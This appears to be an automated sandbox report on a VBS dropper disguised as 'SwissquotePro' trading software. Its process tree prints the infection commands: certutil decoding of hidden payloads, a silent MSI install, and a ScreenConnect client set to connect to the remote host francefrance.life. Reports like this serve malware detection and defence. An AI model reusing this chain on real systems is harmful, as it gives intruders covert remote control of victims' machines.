Overview

overview

8

Static

static

1

Swissquote...xe.vbs

windows10-2004-x64

8

Swissquote...xe.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    110s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 10:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SwissquotePro_v4.2.0_Win.exe.vbs
  • Size 26.1MB
  • Sample260710-mkkvzsax21
  • SHA256 a70693432ef3de199a7d3308f4452022cf9871c73263e7c05a6f7c26eb918ba3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoverypersistenceprivilege_escalationransomwarerevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 24 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 38 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 48 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 21 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SwissquotePro_v4.2.0_Win.exe.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5932
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\SwissquotePro_v4.2.0_Win.exe.vbs" /elevated
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4404
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c certutil -decode "C:\Users\Admin\AppData\Local\Temp\Setup_23618\e.b64" "C:\Users\Admin\AppData\Local\Temp\Setup_23618\vc_redist.x86.exe"
        3⤵
        • Deobfuscate/Decode Files or Information
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\system32\certutil.exe
          certutil -decode "C:\Users\Admin\AppData\Local\Temp\Setup_23618\e.b64" "C:\Users\Admin\AppData\Local\Temp\Setup_23618\vc_redist.x86.exe"
          4⤵
          • Deobfuscate/Decode Files or Information
          PID:5660
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c certutil -decode "C:\Users\Admin\AppData\Local\Temp\Setup_23618\m.b64" "C:\Users\Admin\AppData\Local\Temp\Setup_23618\setup.msi"
        3⤵
        • Deobfuscate/Decode Files or Information
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\system32\certutil.exe
          certutil -decode "C:\Users\Admin\AppData\Local\Temp\Setup_23618\m.b64" "C:\Users\Admin\AppData\Local\Temp\Setup_23618\setup.msi"
          4⤵
          • Deobfuscate/Decode Files or Information
          PID:708
      • C:\Users\Admin\AppData\Local\Temp\Setup_23618\vc_redist.x86.exe
        "C:\Users\Admin\AppData\Local\Temp\Setup_23618\vc_redist.x86.exe" /quiet /norestart
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\Temp\{4D61474A-9E9D-47BB-805B-F5763F1650BA}\.cr\vc_redist.x86.exe
          "C:\Windows\Temp\{4D61474A-9E9D-47BB-805B-F5763F1650BA}\.cr\vc_redist.x86.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\Setup_23618\vc_redist.x86.exe" -burn.filehandle.attached=748 -burn.filehandle.self=752 /quiet /norestart
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3100
          • C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\.be\VC_redist.x86.exe
            "C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\.be\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{8646E7B8-0F51-45DF-9E90-D28E9346B2E5} {6C3837BD-2B06-4799-B1FE-E27EBC61B91B} 3100
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            PID:5100
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3100 -s 1060
            5⤵
            • Program crash
            PID:1156
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_23618\setup.msi" /quiet /norestart
        3⤵
        • Suspicious use of SetWindowsHookEx
        PID:4124
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4676
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:556
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3BD0A882B2E0F8B01EEF8A83F31E725F
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3448
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSID076.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240767265 4 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2168
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F828DB6101F196C172E819E66FE3CE01 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3596
  • C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe
    "C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe" /burn.runonce
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe
      "C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe" /quiet /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\dd_vcredist_x86_20260710113205.log"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3716
      • C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe
        "C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe" -burn.clean.room="C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe" -burn.filehandle.attached=560 -burn.filehandle.self=580 /quiet /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\dd_vcredist_x86_20260710113205.log"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1468
        • C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe
          "C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{845DB0CD-C318-4FB0-9049-DED7686D67B9} {852D7775-CC06-400F-B02F-0B5F32A61C23} 1468
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:5132
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 948
          4⤵
          • Program crash
          PID:5272
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3100 -ip 3100
    1⤵
      PID:5564
    • C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=francefrance.life&p=8041&s=5a7d0206-807b-4432-bd6a-28645c5ae130&k=BgIAAACkAABSU0ExAAgAAAEAAQD90fn9NsTz9NcXSoCvLOL4ChKklIpKxXn5HlUrPgvl6ckYbkOaU6YuT57NlalxpvgVspX8ig5ouZ1wvNoVFnSfgxT5RXr0NdgBTK2SkpYjYL3P%2bZPETItxAvnkui8gqMhBCa51F9jxpLEKe74jfyxhkK6LllRs%2btChRVB%2buPT9pd20h4NiQ1YLHy7EipV12Og7wpTnefQVj3VuDLXRTIdgs7SrwESbI0mEiRpA230YqdSC3AmE4qD0XFnzd49a8D29pNFOSkDYtN1XJRyyWIhNTL1xYJgbs5fHPwcyJkHHlSC4rygBAjG2IJuGjBqG0yvwvnhnGzDr74GZ1jPVR%2bPJ&c=Veebs&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsClient.exe" "RunRole" "b6170be4-fdf1-4818-9cd6-6947960a78b7" "User"
        2⤵
        • Executes dropped EXE
        PID:3512
      • C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsClient.exe" "RunRole" "2ff9471e-33ad-4dec-8044-e3cee0875ba1" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4824
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:4316
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1468 -ip 1468
        1⤵
          PID:4444

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Persistence

              Boot or Logon Autostart Execution

              3
              T1547

              Authentication Package

              1
              T1547.002

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Privilege Escalation

              Boot or Logon Autostart Execution

              3
              T1547

              Authentication Package

              1
              T1547.002

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Defense Evasion

              Deobfuscate/Decode Files or Information

              1
              T1140

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              Peripheral Device Discovery

              1
              T1120

              Query Registry

              3
              T1012

              System Information Discovery

              3
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e59bdb2.rbs
              • Path C:\Config.Msi\e59bdb2.rbs
              • Size 214KB
              • SHA256 e142ca4f1782496e352745d807c94054a23f8cdd28d97670276d9e72f4cbfa3d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              e59bdb9.rbs
              • Path C:\Config.Msi\e59bdb9.rbs
              • Size 17KB
              • SHA256 77468a2e7ed37e21ceb21dad0ec3ecc4a3b8d3c2a8c235473ab09e8b8ab171f5
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              e59bdbe.rbs
              • Path C:\Config.Msi\e59bdbe.rbs
              • Size 18KB
              • SHA256 7654eff780337b3155ba092ce70722d12ec59d26d4de94707fe409e53821441d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Client.Override.en-US.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\Client.Override.en-US.resources
              • Size 368B
              • SHA256 b3f0ca4ad4a60a92763f1fdb0dfc7a9371c499b702db48588d415d92b9c3625b
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Client.Override.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\Client.Override.resources
              • Size 54KB
              • SHA256 58f7955e66e19af2a577df6b4681c77335d9a0c9be98f5e3eb7323996ae12a44
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Client.en-US.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\Client.en-US.resources
              • Size 47KB
              • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Client.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\Client.resources
              • Size 26KB
              • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.Client.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.ClientService.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.ClientService.dll
              • Size 67KB
              • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.ClientService.exe
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.WindowsAuthenticationPackage.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.WindowsClient.exe
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsClient.exe
              • Size 595KB
              • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.WindowsClient.exe.config
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              ScreenConnect.WindowsCredentialProvider.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              app.config
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\app.config
              • Size 2KB
              • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              system.config
              • Path C:\Program Files (x86)\ScreenConnect Client (442cf3c36b1e95bc)\system.config
              • Size 931B
              • SHA256 26060a3d47c0c7163d5e6a8d53b2c8d66c20f23b5386979404422e58ebc8cd18
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              state.rsm
              • Path C:\ProgramData\Package Cache\{0b5169e3-39da-4313-808e-1f9c0407f3bf}\state.rsm
              • Size 972B
              • SHA256 ce0b184e7db3099087dd7ef18f855d252e87a95407d83df99bdb341f229b4472
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              e.b64
              • Path C:\Users\Admin\AppData\Local\Temp\Setup_23618\e.b64
              • Size 18.2MB
              • SHA256 1014df046593c9942fffe0b9a719e252b0ba1e76d80f34fb491166553e5f4fd3
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              m.b64
              • Path C:\Users\Admin\AppData\Local\Temp\Setup_23618\m.b64
              • Size 4.1MB
              • SHA256 9f9c102d13eb2b3c58cd39a81fba0fe58208116249a6c390f6c30fd45c9ee1da
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              setup.msi
              • Path C:\Users\Admin\AppData\Local\Temp\Setup_23618\setup.msi
              • Size 3.0MB
              • SHA256 da281ead4c94ddc04f87c7d7e524cc77219df00c63a0c9a34b278f6ed05fcabf
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              vc_redist.x86.exe
              • Path C:\Users\Admin\AppData\Local\Temp\Setup_23618\vc_redist.x86.exe
              • Size 13.3MB
              • SHA256 0c09f2611660441084ce0df425c51c11e147e6447963c3690f97e0b25c55ed64
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dd_vcredist_x86_20260710113205.log
              • Path C:\Users\Admin\AppData\Local\Temp\dd_vcredist_x86_20260710113205.log
              • Size 13KB
              • SHA256 0e2ad4c560f7c4c5ed4f886f916444158c3663dc92e65a285da29d5cdb2f1d97
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dd_vcredist_x86_20260710113205_000_vcRuntimeMinimum_x86.log
              • Path C:\Users\Admin\AppData\Local\Temp\dd_vcredist_x86_20260710113205_000_vcRuntimeMinimum_x86.log
              • Size 4KB
              • SHA256 de2de8687d113a19b07716342e5a54c5ae312977dd2809ca7cb8243022002ffd
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              MSID076.tmp
              • Path C:\Windows\Installer\MSID076.tmp
              • Size 1.0MB
              • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Microsoft.Deployment.WindowsInstaller.dll
              • Path C:\Windows\Installer\MSID076.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.Core.dll
              • Path C:\Windows\Installer\MSID076.tmp-\ScreenConnect.Core.dll
              • Size 539KB
              • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.InstallerActions.dll
              • Path C:\Windows\Installer\MSID076.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.Windows.dll
              • Path C:\Windows\Installer\MSID076.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              MSID4ED.tmp
              • Path C:\Windows\Installer\MSID4ED.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              logo.png
              • Path C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\.ba\logo.png
              • Size 1KB
              • SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              wixstdba.dll
              • Path C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\.ba\wixstdba.dll
              • Size 215KB
              • SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              cab54A5CABBE7274D8A22EB58060AAB7623
              • Path C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\cab54A5CABBE7274D8A22EB58060AAB7623
              • Size 838KB
              • SHA256 c9935322c0af2fe00ebb018f8b0b908018576048fa4d3c0376a30ebf0eb2cf50
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              cabB3E1576D1FEFBB979E13B1A5379E0B16
              • Path C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\cabB3E1576D1FEFBB979E13B1A5379E0B16
              • Size 4.9MB
              • SHA256 01b11076177c8a5ee37eba745142cd6bbc4ac1ebfc4ebe48c85bd285a73ebf60
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              vcRuntimeAdditional_x86
              • Path C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\vcRuntimeAdditional_x86
              • Size 200KB
              • SHA256 3e4a528fe5263a5dc44455d0ab2717f0c02acdc120c918cf43730ce9f36ccbb5
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              vcRuntimeMinimum_x86
              • Path C:\Windows\Temp\{41199BFB-9AB3-429F-9371-83E233BAEF37}\vcRuntimeMinimum_x86
              • Size 200KB
              • SHA256 c5ff4d6cd4be9f4965f93af273dd364948fbe44d40b123f34f82bcbcf64c8df4
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              vc_redist.x86.exe
              • Path C:\Windows\Temp\{4D61474A-9E9D-47BB-805B-F5763F1650BA}\.cr\vc_redist.x86.exe
              • Size 669KB
              • SHA256 4a6e1044ff0f49d2e3b12f7c40352c7e573e0c58f3b3cc0b55b63c95ede87828
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/2168-143-0x0000000005400000-0x000000000542E000-memory.dmp
              Download

              memory/2168-156-0x0000000005E80000-0x000000000643A000-memory.dmp
              Download

              memory/2168-147-0x0000000005430000-0x000000000543A000-memory.dmp
              Download

              memory/2168-151-0x00000000054D0000-0x000000000555E000-memory.dmp
              Download

              memory/2168-155-0x0000000005710000-0x00000000058BC000-memory.dmp
              Download

              memory/3512-253-0x000000001CA70000-0x000000001CBF8000-memory.dmp
              Download

              memory/3512-252-0x000000001BCA0000-0x000000001BE4C000-memory.dmp
              Download

              memory/3512-258-0x0000000002BF0000-0x0000000002C31000-memory.dmp
              Download

              memory/3512-257-0x0000000002BD0000-0x0000000002BE8000-memory.dmp
              Download

              memory/3512-250-0x0000000002B90000-0x0000000002BC6000-memory.dmp
              Download

              memory/3512-251-0x000000001BA60000-0x000000001BAEE000-memory.dmp
              Download

              memory/3512-249-0x0000000000970000-0x0000000000A08000-memory.dmp
              Download

              memory/3512-256-0x0000000002B50000-0x0000000002B68000-memory.dmp
              Download

              memory/4760-216-0x0000000004380000-0x0000000004412000-memory.dmp
              Download

              memory/4760-195-0x0000000001960000-0x0000000001978000-memory.dmp
              Download

              memory/4760-212-0x0000000004070000-0x00000000040A6000-memory.dmp
              Download

              memory/4760-206-0x0000000004020000-0x0000000004070000-memory.dmp
              Download

              memory/4760-220-0x00000000040B0000-0x0000000004185000-memory.dmp
              Download

              memory/4760-218-0x00000000040B0000-0x00000000040F1000-memory.dmp
              Download